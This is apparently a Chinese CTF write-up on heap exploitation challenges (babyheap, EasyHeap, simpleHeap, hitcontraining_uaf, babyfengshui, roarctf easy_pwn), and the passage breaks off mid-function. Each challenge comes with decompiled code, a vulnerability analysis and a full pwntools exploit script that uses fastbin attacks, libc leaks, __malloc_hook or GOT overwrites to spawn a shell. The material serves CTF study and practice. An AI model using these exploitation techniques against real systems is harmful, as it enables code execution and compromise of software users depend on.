babyheap_0ctf_2017
思路
保护
[*] '/root/CTF/Pwn/babyheap_0ctf_2017/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
#ubuntu16
程序有四个功能
- Allocate:分配内存大小并给出 index
- Fill:输入 index ,并分配内存进行内容写入操作
- Free:输入 index ,释放相应的内存空间
- Dump:输入 index ,打印内容
Allocate
void __fastcall sub_D48(__int64 a1)
{
signed int i; // [rsp+10h] [rbp-10h]
signed int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
- 分配的大小不能超过 4096 字节
- (24LL i + a1):置 1 表示 chunk 存在
- (a1 + 24LL i + 8):存储 chunk 的大小
- (a1 + 24LL i + 16):存储 chunk 的地址
Fill
__int64 __fastcall sub_E7F(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = sub_138C();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
- 先判断chunk 是否存在
- 如果存在把输入的内容写入 (24LL v2 + a1 + 16) 对应的地址中。
- 没有对 v3 的大小做限制,存在堆溢出
Free
__int64 __fastcall sub_F50(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}
- 先判断对应位是否为 1 ,即 chunk 是否存在
- 把对应位 (24LL v2 + a1) 置 0
- 记录 chunk 大小的 (24LL v2 + a1 + 8) 置 0
- 释放指针 (24LL v2 + a1 + 16) 对应的内存
Dump
signed int __fastcall sub_1051(__int64 a1)
{
signed int result; // eax
signed int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
result = puts(byte_14F1);
}
}
return result;
}
- 先判断对应位是否为 1 ,即 chunk 是否存在
- 打印长度为 (24LL v2 + a1 + 8) 存储字节数内容指针 (24LL v2 + a1 + 16) 指向的内容
通过fastbin attack将一个small_chunk链入fast_bin,然后取出,再将原本的small_chunk释放掉,此时这个small_chunk在unsorted_bin里,又同时被从fast_bin中申请出来使用,直接泄露libc
从unsored_bin里分割出一个小chunk, 通过构造的 fack chunk 堆溢出覆写 __malloc_hook 完成 get shell 。
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
#context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
else:
p = remote('node3.buuoj.cn', 28507)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
one = 0x4526a
def add(size):
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size))
def fill(index,content):
p.sendlineafter('Command: ','2')
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Size: ',str(len(content)))
p.sendlineafter('Content: ',content)
def free(index):
p.sendlineafter('Command: ','3')
p.sendlineafter('Index: ',str(index))
def dump(index):
p.sendlineafter('Command: ','4')
p.sendlineafter('Index: ',str(index))
add(0x20) #0
add(0x20) #1
add(0x20) #2
add(0x20) #3
add(0x100) #4
free(1)
free(2)
pd = p64(0)*5
pd += p64(0x31)
pd += p64(0)*5
pd += p64(0x31)
pd += p8(0xc0)
fill(0,pd) #从chunk0开始溢出,改掉chunk2的fd指向chunk4(small_chunk)
pd = p64(0)*5
pd += p64(0x31)
fill(3,pd) #溢出chunk3改掉chunk4的大小,使chunk4可以从fast_bin中取出
add(0x20) #1
add(0x20) #2 <-> 4 取出chunk4
pd = p64(0)*5
pd += p64(0x111)
fill(3,pd) #将chunk4大小改回small_bin
add(0x100) #防止top_chunk合并
free(4) #chunk4==chunk2 chunk4被free,进入unsorted_bin 但是chunk2还在使用
dump(2) #打印main_arena+0x58
p.recvline()
main_arena = u64(p.recv(6).ljust(8, '\x00')) - 0x58
libc_base = main_arena - 0x3c4b20
success('libc_base = ' + hex(libc_base))
target = libc_base + 0x3c4aed #malloc_hook - 0x23
add(0x60) #从unsorted_bin(chunk4)中切割一部分
free(4)
pd = p64(target)
fill(2,pd) #chunk4被free,但是可以通过修改chunk2来改变chunk4的fd
add(0x60)
add(0x60) #申请到malloc_hook - 0x23
pd = p8(0)*3
pd += p64(0)*2 #对齐内存
pd += p64(libc_base + one)
fill(6,pd)
add(0x100)
p.interactive()
总结
unsorted_bin/small_bin泄露libc
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,
所以我们得到fd的值,然后再减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。
unsortedbin
all: 0x559e6d2710c0 —▸ 0x7fdd74d3db78 (main_arena+88) ◂— 0x559e6d2710c0
pwndbg> x/6xg 0x559e6d2710c0
0x559e6d2710c0: 0x0000000000000000 0x0000000000000111
0x559e6d2710d0: 0x00007fdd74d3db78 0x00007fdd74d3db78
0x559e6d2710e0: 0x0000000000000000 0x0000000000000000
查看存放结构体的内存地址
执行vmmap命令。可以找到mmap分配的首地址。然后从分配的首地址(0x1b5748c0d000)依次向后查看,这块内存空间应该都是0。只要有数据的地方应该就是存放结构体的地方。
一直找,然后我找到了结构体的位置,地址为0x4953f3a41a30
用chunk0来讲解一下。
每个chunk是一个结构体数组。 每个结构体有三个元素,第一个元素chunk0的标志位,用来判断该当前结构体是否被使用,如果被使用,则第二个元素是该chunk的大小,第三个元素是chunk的首地址。如果没有被使用,则全部是0。
0x0000000000000001 (chunk0的标志位,1表示该chunk存在) 0x0000000000000020(chunk0的大小) 0x00005654f6fd0010(chunk0的mem地址)
劫持__malloc_hook
要修改__malloc_hook的值。我们先找到__malloc_hook的地址 , 查看该__malloc_hook附近的内存空间。
pwndbg> p &__malloc_hook
$1 = (void *(**)(size_t, const void *)) 0x7fa959537b10 <__malloc_hook>
pwndbg> x/10xg 0x7fa959537b10-0x40
0x7fa959537ad0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000
0x7fa959537ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7fa959537af0 <_IO_wide_data_0+304>: 0x00007fa959536260 0x0000000000000000
0x7fa959537b00 <__memalign_hook>: 0x0000000000000000 0x0000000000000000
0x7fa959537b10 <__malloc_hook>: 0x00007fa9591b826a 0x0000000000000000
想要在这范围内进行malloc,就需要绕过malloc的限制。附近7f比较多,可以找一个内存地址,将7f当为我们要malloc的size位。
一般找&malloc_hook-0x23,即0x7fd25e3b7aed。如果在这个地址进行malloc,则size位为0x7f。那我们分配一个0x60大小的chunk,即可绕过malloc的限制。 算出该地址对libc的基址的偏移是0x3c4aed。
pwndbg> x/10x 0x7fa959537b10-0x23
0x7fa959537aed <_IO_wide_data_0+301>: 0xa959536260000000 0x000000000000007f
0x7fa959537afd: 0x0000000000000000 0x0000000000000000
0x7fa959537b0d <__realloc_hook+5>: 0xa9591b826a000000 0x000000000000007f
0x7fa959537b1d: 0x0000000000000000 0x0000000000000000
0x7fa959537b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
可以构造pd如下
pd = p8(0)*3
pd += p64(0)*2 #对齐内存
pd += p64(libc_base+one) #one_gadget
[ZJCTF 2019]EasyHeap
思路
保护
[*] '/root/CTF/Pwn/easyheap/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
#ununtu16
create_heap
unsigned __int64 create_heap()
{
signed int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:", &buf);
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
edit_heap
unsigned __int64 edit_heap()
{
__int64 v0; // ST08_8
int v2; // [rsp+4h] [rbp-1Ch]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v2 = atoi(&buf);
if ( v2 < 0 || v2 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v2] )
{
printf("Size of Heap : ", &buf);
read(0, &buf, 8uLL);
v0 = atoi(&buf);
printf("Content of heap : ", &buf);
read_input(heaparray[v2], v0);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
存在堆溢出漏洞,edit时的size是我们重新输入的,并不是creat时的
delete_heap
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
将chunk释放掉,指针清零,没有UAF
l33t
int l33t()
{
return system("cat /home/pwn/flag");
}
无pie保护,存在可利用的后门函数,
通过house_of_spirt将free_got改为后门l33t的地址,执行free来cat flag,buu这题的flag目录不对
那就将free_got改为system,然后free一个内容为/bin/sh\x00的chunk
具体操作是在存放chunk指针的heaparray数组附近伪造一个chunk,将一个chunk的地址改为free_got,通过编辑chunk的内容,将free_got改为system_plt
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
else:
p = remote('node3.buuoj.cn', 25102)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
one = 0x4526a
def create(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content))
def edit(index,size,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content))
def free(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
free_got = elf.got['free']
system_plt = elf.plt['system']
addr_l33t = 0x400C23
target = 0x6020ad #0x6020b0-3
create(0x60,'aaaa')#0
create(0x60,'bbbb')#1
create(0x60,'cccc')#2
free(2)
pd = '/bin/sh\x00'
pd += p64(0)*12
pd += p64(0x71)
pd += p64(target)
edit(1,len(pd),pd) #堆溢出修改chun2,在heaparray附近构造fake_chunk,使得chunk大小为0x60(0x7f)
create(0x60,'cccc')
create(0x60,'dddd') #3 fake chunk
pd = 'a' * 0x23 + p64(free_got)
edit(3,len(pd),pd) #将chunk0的地址改为free_got
pd = p64(system_plt)
edit(0,len(pd),pd) #修改free_got
free(1) #提权
p.interactive()
[V&N2020 公开赛]simpleHeap
思路
保护
[*] '/root/CTF/Pwn/simpleHeap/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
#ubuntu16
Add
signed int sub_AFF()
{
signed int result; // eax
int v1; // [rsp+8h] [rbp-8h]
signed int v2; // [rsp+Ch] [rbp-4h]
v1 = sub_AB2();
if ( v1 == -1 )
return puts("Full");
printf("size?");
result = sub_9EA();
v2 = result;
if ( result > 0 && result <= 111 )
{
qword_2020A0[v1] = malloc(result);
if ( !qword_2020A0[v1] )
{
puts("Something Wrong!");
exit(-1);
}
dword_202060[v1] = v2;
printf("content:");
read(0, qword_2020A0[v1], dword_202060[v1]);
result = puts("Done!");
}
return result;
}
申请fast_bin大小的chunk
Edit
int sub_CBB()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
exit(0);
printf("content:");
sub_C39(qword_2020A0[v1], dword_202060[v1]);
return puts("Done!");
}
sub_C39函数里的关键点:
if ( (signed int)i > a2 )
break;
此处应该是>=,这里造成了单字节溢出漏洞
Show
int sub_D6F()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
exit(0);
puts((const char *)qword_2020A0[v1]);
return puts("Done!");
}
Delete
int sub_DF7()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
exit(0);
free(qword_2020A0[v1]);
qword_2020A0[v1] = 0LL;
dword_202060[v1] = 0;
return puts("Done!");
}
无UAF
overlaping攻击,通过单字节溢出改掉chunk1的size=chunk1+chunk2,然后把这个大的chunk放入unsorted_bin,再把chunk1分配出来,此刻chunk2在使用而且又在unsorted_bin中,泄露libc
将chunk4(2)拿出来再free到fast_bin里
但是chunk2(4)最初被分配了还在使用 构造fd - > fake_chunk
在malloc_hook附近构造fake_chunk,因为one_gadget有限制,此时不能直接将malloc_hook改为one_gadget
这题应该同时改掉realloc_hook和malloc_hook
调用malloc函数---->判断是否有malloc_hook,有则调用之---->我们这里malloc_hook设置的为realloc函数+offset,程序便到此处执行---->执行realloc函数时,会判断是否有realloc_hook,有则调用之---->我们这里realloc_hook设置的为one_gadget,所以便会转到one_gadget处执行。
执行malloc提权
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
one = [0x45216,0x4527a,0xf02a4,0xf1147]
else:
p = remote('node3.buuoj.cn', 29884)
libc = ELF('./libc-2.23.so', checksec=False)
one = [0x45216,0x4526a,0xf02a4,0xf1147] #我的本地环境没有更新
elf = ELF('./chall', checksec=False)
def add(size,content):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(content)
def edit(index,content):
p.sendline('2')
p.recvuntil('idx?')
p.sendline(str(index))
p.recvuntil('content:')
p.sendline(content)
def show(index):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('idx?')
p.sendline(str(index))
def free(index):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('idx?')
p.sendline(str(index))
add(0x58,'aaaa') #0
add(0x60,'bbbb') #1
add(0x60,'cccc') #2
add(0x60,'dddd') #3
pd = 0x58*'a' + '\xe1' #申请0x58,多出来的8字节是chunk1的prev_size,这样就可以溢出到chunk1的size
edit(0,pd)
free(1)
add(0x60,'aaaa') #1
show(2)
main_arean = u64(p.recv(6).ljust(8,'\x00')) - 0x58
libc_base = main_arean - 0x3c4b20
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
fake_chunk = malloc_hook - 0x23
success('libc_base = ' + hex(libc_base))
add(0x60,'aaaa') #4
free(4)
edit(2,p64(fake_chunk))
pd = 'a'*0xb+p64(libc_base + one[1])+p64(realloc+13)
add(0x60,'aaaa')
add(0x60,pd)
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x60))
p.interactive()
hitcontraining_uaf
思路
保护
[*] '/root/CTF/Pwn/hitcontraining_uaf/chall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#ubuntu16
add_note
int add_note()
{
int result; // eax
_DWORD *v1; // esi
char buf; // [esp+0h] [ebp-18h]
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]
result = count;
if ( count > 5 )
return puts("Full");
for ( i = 0; i <= 4; ++i ) //可以申请五个chunk
{
result = (int)notelist[i];
if ( !result )
{
notelist[i] = malloc(8u); //notelist[i]是0x8大小的chunk
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*notelist[i] = print_note_content; //notelist[i]前四字节是print_note_content地址
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v1 = notelist[i]; //notelist[i]后四字节是content的地址
v1[1] = malloc(size);
if ( !notelist[i][1] )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, (void *)notelist[i][1], size);
puts("Success !");
return count++ + 1;
}
}
return result;
}
申请一个chunk会出现两个,第一个是指针函数,第二个是chunk的content,也就是我们可控的堆块
print_note
_DWORD *print_note()
{
_DWORD *result; // eax
char buf; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
printf("Index :");
read(0, &buf, 4u);
v2 = atoi(&buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = notelist[v2];
if ( result )
result = (_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2]);
return result;
}
print返回的是add_note时malloc的第一个堆指针指向的内容(也就是context段)
就是在指针堆块里,调用前4字节的函数,打印后4字节指过去的东西。
del_note
_DWORD *del_note()
{
_DWORD *result; // eax
char buf; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
printf("Index :");
read(0, &buf, 4u);
v2 = atoi(&buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = notelist[v2];
if ( result )
{
free((void *)notelist[v2][1]);
free(notelist[v2]);
result = (_DWORD *)puts("Success");
}
return result;
}
依次free指针堆块,内容堆块
存在UAF
magic
int magic()
{
return system("/bin/sh");
}
一个UAF的利用
申请两个chunk(0x20), 然后依次free
fastbins:
0x10: chunk1指针堆块(B) —▸ chunk0指针堆块(A)◂— 0x0
0x18: 0x0
0x20: 0x0
0x28: chunk1内容堆块 —▸ chunk0内容堆块 ◂— 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
存在UAF,这时申请一个0x8的chunk,内容填入后门函数,chunkA前四位就是后门函数地址,打印chunkA的内容即可
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
else:
p = remote('node3.buuoj.cn', 27038)
elf = ELF('./chall', checksec=False)
def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(content)
def free(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(idx))
def show(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))
addr_magic = 0x8048945
add(0x20,'aaaa')
add(0x20,'aaaa')
free(0)
free(1)
add(0x8,p32(addr_magic))
show(0)
p.interactive()
思路2
一个UAF加double_free,只不过这次是一次free两个flag
申请一个chunk(0x8),free两次形成double_free
fastbins
0x10: 0x9a04000 —▸ 0x9a04010 ◂— 0x9a04000
此时申请一个大小不是0x8的chunk,将0x9a04000作为指针堆块free出去
fastbins
0x10: 0x9a04010 —▸ 0x9a04000 —▸ 0x80485fb (print_note_content) ◂— out 4, al
这时再分配一个chunk(0x8),这时就可以往0x9a04000里写入magic
打印magic提权
EXP2
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
else:
p = remote('node3.buuoj.cn', 27038)
elf = ELF('./chall', checksec=False)
def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(content)
def free(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(idx))
def show(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))
addr_magic = 0x8048945
add(0x8,'aaaa')
free(0)
free(0)
add(0x20,'aaaa')
gdb.attach(p)
add(0x8,p32(addr_magic))
show(0)
p.interactive()
babyfengshui_33c3_2016
思路
保护
[*] '/root/CTF/Pwn/babyfengshui_33c3_2016/chall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#ubuntu16
add
_DWORD *__cdecl sub_8048816(size_t a1)
{
void *s; // ST24_4
_DWORD *v2; // ST28_4
s = malloc(a1);
memset(s, 0, a1);
v2 = malloc(0x80u);
memset(v2, 0, 0x80u);
*v2 = s;
ptr[(unsigned __int8)byte_804B069] = v2;
printf("name: ");
sub_80486BB((char *)ptr[(unsigned __int8)byte_804B069] + 4, 0x7C);
sub_8048724(++byte_804B069 - 1);
return v2;
}
进行了两次堆的申请,并且把第一次申请的堆的地址赋值到第二次申请的堆的数据之中,由此可以判断出此函数利用了一个结构体,而第二次申请的堆的大小是固定的 (0x80)
这个0x80的堆其实就是个结构体
struct User{
char *description; //第一个堆的地址
char name[0x7c]; //name
};
free
unsigned int __cdecl sub_8048905(unsigned __int8 a1)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B069 && ptr[a1] )
{
free(*(void **)ptr[a1]);
free(ptr[a1]);
ptr[a1] = 0;
}
return __readgsdword(0x14u) ^ v2;
}
检查空间是否存在,free掉前面申请的空间并赋值为0。
show
unsigned int __cdecl sub_804898F(unsigned __int8 a1)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B069 && ptr[a1] )
{
printf("name: %s\n", (char *)ptr[a1] + 4);
printf("description: %s\n", *(_DWORD *)ptr[a1]);
}
return __readgsdword(0x14u) ^ v2;
}
显示数据
edit
unsigned int __cdecl sub_8048724(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h]
int v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B069 && ptr[a1] )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
sub_80486BB(*(char **)ptr[a1], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
}
更新堆块的内容,重新输入text的长度
重点是if ( (char )(v3 + (_DWORD )ptr[a1]) >= (char )ptr[a1] - 4 )这个长度限制来防止堆溢出
这个限制是建立在 description 和 user 结构题在内存中是紧邻的情况
先申请一个chunk0 add(0x20,"aaaa",0x20,'bbbb')
pwndbg> x/30xw 0x8ff5000
0x8ff5000: 0x00000000 0x00000029 0x62626262 0x00000000
0x8ff5010: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ff5020: 0x00000000 0x00000000 0x00000000 0x00000089
0x8ff5030: 0x08ff5008 0x61616161 0x00000000 0x00000000
0x8ff5040: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ff5050: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ff5060: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ff5070: 0x00000000 0x00000000
堆的布局是text_chunk + name_chunk
update在判断长度的时候存在问题,
看堆布局以chunk0来说,判断条件就是:`0x8ff5000+0x20>=0x8ff5020
chunk0和chunk0(name)其实不一定是相邻的,这样的话就有了实现溢出的可能
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from easyLibc import *
debug = 2
context(arch='amd64', endian='el', os='linux')
#context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
libc = ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)
else:
p = remote('node3.buuoj.cn', 29635)
libc = ELF('./libc-2.23.so', checksec=False)
elf = ELF('./chall', checksec=False)
def add(size,name,length,text):
p.recvuntil("Action: ")
p.sendline("0")
p.recvuntil("size of description: ")
p.sendline(str(size))
p.recvuntil("name: ")
p.sendline(name)
p.recvuntil("text length: ")
p.sendline(str(length))
p.recvuntil("text: ")
p.sendline(text)
def free(index):
p.recvuntil("Action: ")
p.sendline("1")
p.recvuntil("index: ")
p.sendline(str(index))
def show(index):
p.recvuntil("Action: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
def edit(index,length,text):
p.recvuntil("Action: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("text length: ")
p.sendline(str(length))
p.recvuntil("text: ")
p.sendline(text)
add(0x80,"aaaa",0x80,'bbbb')
add(0x80,"aaaa",0x80,'bbbb')
add(0x80,"aaaa",0x80,'/bin/sh\00')
free(0)
add(0x100,"aaaa",0x100,'bbbb') #text_chunk3在chunk1上面 name_chunk3在最低下,造成可以溢出
free_got = elf.got['free']
pd = 'a'*(0x100+0x8+0x8+0x80+0x8) + p32(free_got)
edit(3,len(pd),pd)
show(1)
p.recvuntil('description: ')
addr_free = u32(p.recv(4))
libc_base = addr_free - libc.sym['free']
addr_sys = libc_base + libc.sym['system']
pd = p32(addr_sys)
edit(1,len(pd),pd)
free(2)
p.interactive()
roarctf_2019_easy_pwn
思路
保护
[*] '/root/CTF/Pwn/roarctf_2019_easy_pwn/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
#ubuntu16
add
__int64 sub_C46()
{
__int64 result; // rax
int v1; // ST0C_4
unsigned int i; // [rsp+4h] [rbp-1Ch]
unsigned int v3; // [rsp+8h] [rbp-18h]
signed int v4; // [rsp+8h] [rbp-18h]
void *v5; // [rsp+10h] [rbp-10h]
result = 0LL;
for ( i = 0; (signed int)i <= 15; ++i )
{
result = *((unsigned int *)&unk_202040 + 4 * (signed int)i);
if ( !(_DWORD)result )
{
printf("size: ");
v4 = sub_BE0(v3);
if ( v4 > 0 )
{
if ( v4 > 4096 )
v4 = 4096;
v5 = calloc(v4, 1uLL);
if ( !v5 )
exit(-1);
*((_DWORD *)&unk_202040 + 4 * (signed int)i) = 1;
*((_DWORD *)&unk_202044 + 4 * (signed int)i) = v4;
qword_202048[2 * (signed int)i] = v5;
v1 = qword_202048[2 * (signed int)i] & 0xFFF;
printf("the index of ticket is %d \n", i);
}
return i;
}
}
return result;
}
edit
__int64 sub_E82()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
signed int v2; // [rsp+Ch] [rbp-14h]
signed int v3; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]
printf("index: ");
v2 = sub_BE0(v1);
v3 = v2;
if ( v2 >= 0 && v2 <= 15 )
{
v2 = *((_DWORD *)&unk_202040 + 4 * v2);
if ( v2 == 1 )
{
printf("size: ");
v2 = sub_BE0(1LL);
v4 = sub_E26(*((unsigned int *)&unk_202044 + 4 * v3), (unsigned int)v2);
if ( v2 > 0 )
{
printf("content: ");
v2 = sub_D92(qword_202048[2 * v3], v4);
}
}
}
return (unsigned int)v2;
}
sub_E26
__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
__int64 result; // rax
if ( a1 > (signed int)a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return (unsigned int)result;
}
当eidt时输入的size比add的size大10时,可以多输入一个字节,造成 off-by-one
free
__int64 sub_F8E()
{
int v0; // eax
int v2; // [rsp+Ch] [rbp-14h]
unsigned int v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+10h] [rbp-10h]
printf("index: ");
v0 = sub_BE0(v3);
v4 = v0;
